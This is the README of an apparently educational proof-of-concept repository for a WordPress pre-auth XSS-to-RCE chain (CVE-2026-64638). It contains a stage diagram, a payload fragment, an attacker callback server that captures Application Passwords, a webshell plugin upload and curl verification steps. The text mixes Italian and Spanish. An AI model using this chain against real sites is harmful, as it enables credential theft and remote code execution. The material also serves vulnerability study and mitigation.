
PoC funzionale di CVE-2026-64638 (XSS2Shell): catena pre-auth XSS a RCE in WordPress Core. Laboratorio Docker + server attaccante Python + analisi tecnica e mitigazione.
Proof of Concept educativa della catena XSS2Shell (CVE-2026-64638), vulnerabilità pre-autenticazione XSS → RCE nel WordPress Core scoperta in modo autonomo da pwn.ai e divulgata il 7 agosto 2026.
CVE-2026-64638 è una vulnerabilità di tipo cross-site scripting (XSS)
riflesso, pre-autenticazione, nella schermata di accesso di WordPress
(wp-login.php). Interessa tutte le versioni supportate di WordPress
precedenti alla 7.0.3, pubblicata il 6 agosto 2026 come security release
di emergenza. Le è stato assegnato un CVSS v4.0 di 8.9.
La catena battezzata XSS2Shell dimostra come, partendo unicamente da un tentativo di login fallito con un username manipolato, un attaccante può:
strip_tags) e di WordPress
(wp_kses_post).user-profile.js) per effettuare una richiesta REST JSONP alla stessa
origine.jQuery.globalEval().Il risultato è l'esecuzione remota di codice (RCE) sul server WordPress,
sotto l'utente del processo web (tipicamente www-data), partendo da un
singolo click dell'amministratore su un link controllato dall'attaccante.
Questo repository contiene materiale strettamente educativo e difensivo.
La PoC viene fornita con un ambiente Docker autocontenuto la cui unica finalità è servire come bersaglio locale e riproducibile.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
La PoC è costruita per essere eseguita su macOS o Linux con:
zip (per costruire il payload manualmente,
opzionale; il ZIP già costruito è incluso in payload/).Non è necessario installare WordPress manualmente: il docker-compose.yml
avvia un WordPress 7.0.2 vulnerabile (l'ultima versione precedente alla
patch) insieme a MariaDB.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress sarà accessibile su http://localhost:8080. Segui la procedura
guidata di installazione e crea un utente amministratore (ad esempio
admin / admin-password).
Il Dockerfile ancora l'immagine a
wordpress:7.0.2-php8.2-apache, che è l'ultima versione precedente alla patch 7.0.3.
# En otro terminal, dentro de attacker/
python3 server.py
Il server dell'attaccante è in ascolto su http://localhost:9000 ed espone:
/ → index.html (la pagina esca)./callback.php → ricevitore della Application Password.Nel terminale in cui gira server.py apparirà una riga del tipo:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
La credenziale viene salvata anche in attacker/captured_credentials.txt.
Dopo alcuni secondi, l'orchestratore di index.html avrà:
payload.zip in wp-content/plugins/payload/.Verifica l'esecuzione di codice con:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
Un'intestazione Hacked: true e un corpo JSON confermano la RCE.
Una volta completata la catena, i seguenti endpoint servono come evidenza:
| Risorsa | Evidenza attesa |
|---|---|
GET /wp-content/plugins/payload/shell.php | Intestazione Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt | Application Password catturata |
wp-admin → Applicazioni → Password applicazioni | Una nuova voce chiamata «SomeApp» |
docs/ANALISIS.md — Analisi tecnica dettagliata di
ogni fase della catena, con riferimenti al codice sorgente di WordPress.docs/MITIGACION.md — Mitigazioni raccomandate,
hardening e verifica della patch 7.0.3.Distribuito sotto licenza MIT. Consulta il file LICENSE per maggiori dettagli.